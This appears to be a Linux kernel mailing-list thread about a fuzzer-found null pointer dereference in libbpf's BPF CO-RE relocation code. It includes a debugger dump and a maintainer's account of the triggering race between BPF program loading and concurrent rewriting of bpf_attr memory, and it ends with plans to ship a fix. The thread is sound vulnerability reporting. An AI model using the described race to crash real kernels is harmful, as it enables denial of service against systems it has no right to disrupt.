—▸ 0xffff8881166280c2 ◂— 0x0 R14 0x4 R15 0xffff888115f48000 ◂— 0x0 RBP 0xffff88811669f6c0 —▸ 0xffff88811669f798 —▸ 0xffffffff8160fcb0 (check_btf_line) ◂— 0x56415741e5894855 RSP 0xffff88811669f3d0 ◂— 0x1ffff11022cd3e92 *RIP 0xffffffff8173e51e (bpf_core_calc_relo_insn+286) ◂— 0x83e0894c0214b60f ────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────────────── 0xffffffff8173e505 <bpf_core_calc_relo_insn+261> call btf_type_by_id <btf_type_by_id>
0xffffffff8173e50a <bpf_core_calc_relo_insn+266> mov rdx, rax 0xffffffff8173e50d <bpf_core_calc_relo_insn+269> mov r12, rax 0xffffffff8173e510 <bpf_core_calc_relo_insn+272> movabs rax, 0xdffffc0000000000 0xffffffff8173e51a <bpf_core_calc_relo_insn+282> shr rdx, 3 <fixed_percpu_data+3> ► 0xffffffff8173e51e <bpf_core_calc_relo_insn+286> movzx edx, byte ptr [rdx + rax] 0xffffffff8173e522 <bpf_core_calc_relo_insn+290> mov rax, r12 0xffffffff8173e525 <bpf_core_calc_relo_insn+293> and eax, 7 <fixed_percpu_data+7> 0xffffffff8173e528 <bpf_core_calc_relo_insn+296> add eax, 3 <fixed_percpu_data+3> 0xffffffff8173e52b <bpf_core_calc_relo_insn+299> cmp al, dl 0xffffffff8173e52d <bpf_core_calc_relo_insn+301> jl bpf_core_calc_relo_insn+311 <bpf_core_calc_relo_insn+311> ─────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────────── In file: /home/ubuntu/fuzz/linux-6.11-rc4/tools/lib/bpf/relo_core.c:1300 1295 char spec_buf[256]; 1296 int i, j, err; 1297 1298 local_id = relo->type_id; 1299 local_type = btf_type_by_id(local_btf, local_id); ► 1300 local_name = btf__name_by_offset(local_btf, local_type->name_off); 1301 if (!local_name) 1302 return -EINVAL; 1303 1304 err = bpf_core_parse_spec(prog_name, local_btf, relo, local_spec); 1305 if (err) { ─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────── ```
On Tue, 2024-08-20 at 17:21 +0800, Liu RuiTong wrote:
[...]
bpf_core_calc_relo_insn+311 <bpf_core_calc_relo_insn+311> ─────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────────── In file: /home/ubuntu/fuzz/linux-6.11-rc4/tools/lib/bpf/relo_core.c:1300 1295 char spec_buf[256]; 1296 int i, j, err; 1297 1298 local_id = relo->type_id; 1299 local_type = btf_type_by_id(local_btf, local_id); ► 1300 local_name = btf__name_by_offset(local_btf, local_type->name_off);
Hi Liu,
Thank you for the report, I can reproduce the issue. Will comment later today.
1301 if (!local_name) 1302 return -EINVAL; 1303 1304 err = bpf_core_parse_spec(prog_name, local_btf, relo, local_spec); 1305 if (err) { ─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
On Tue, 2024-08-20 at 18:33 -0700, Eduard Zingerman wrote:
On Tue, 2024-08-20 at 17:21 +0800, Liu RuiTong wrote:
[...]
bpf_core_calc_relo_insn+311 <bpf_core_calc_relo_insn+311> ─────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────────────── In file: /home/ubuntu/fuzz/linux-6.11-rc4/tools/lib/bpf/relo_core.c:1300 1295 char spec_buf[256]; 1296 int i, j, err; 1297 1298 local_id = relo->type_id; 1299 local_type = btf_type_by_id(local_btf, local_id); ► 1300 local_name = btf__name_by_offset(local_btf, local_type->name_off);
Hi Liu,
Thank you for the report, I can reproduce the issue. Will comment later today.
Hi Liu,
Your analysis is correct, the issue is caused by a missing null pointer check for 'local_type'.
I was curious why the attached test case does not cause null pointer exception every time, but then I realized that this is because of the sequence of BPF commands it issues (each in separate thread): 1. Create BTF, wait for completion; 2. Load BPF program, do not wait for completion; 3. Rewrite memory region passed to load BPF command as bpf_attr to reuse it for another system call (actual call is map update, but that does not matter).
From time to time steps (2) and (3) would run concurrently and user space memory chunk passed to kernel in (2) would be updated to make relocation data invalid.
I attach a simplified test case, will post a fix to bpf mailing list shortly.
On Wed, 2024-08-21 at 04:46 -0700, Eduard Zingerman wrote:
[...]
will post a fix to bpf mailing list shortly.
Status update: apologies for the delay, the fix is trivial but I have some problems with test case not printing expected log on BPF CI, need some time to debug.
Link to wip patch: https://github.com/eddyz87/bpf/tree/relo-core-bad-local-id
On Wed, Aug 21, 2024 at 9:34 AM Eduard Zingerman eddyz87@gmail.com wrote:
On Wed, 2024-08-21 at 04:46 -0700, Eduard Zingerman wrote:
[...]
will post a fix to bpf mailing list shortly.
Status update: apologies for the delay, the fix is trivial but I have some problems with test case not printing expected log on BPF CI, need some time to debug.
Link to wip patch: https://github.com/eddyz87/bpf/tree/relo-core-bad-local-id
I would ship the fix (since it's trivial) and sort out selftest later.
On Wed, 2024-08-21 at 09:40 -0700, Alexei Starovoitov wrote:
On Wed, Aug 21, 2024 at 9:34 AM Eduard Zingerman eddyz87@gmail.com wrote:
On Wed, 2024-08-21 at 04:46 -0700, Eduard Zingerman wrote:
[...]
will post a fix to bpf mailing list shortly.
Status update: apologies for the delay, the fix is trivial but I have some problems with test case not printing expected log on BPF CI, need some time to debug.
Link to wip patch: https://github.com/eddyz87/bpf/tree/relo-core-bad-local-id
I would ship the fix (since it's trivial) and sort out selftest later.
Makes sense, will submit the fix.
linux-stable-mirror@lists.linaro.org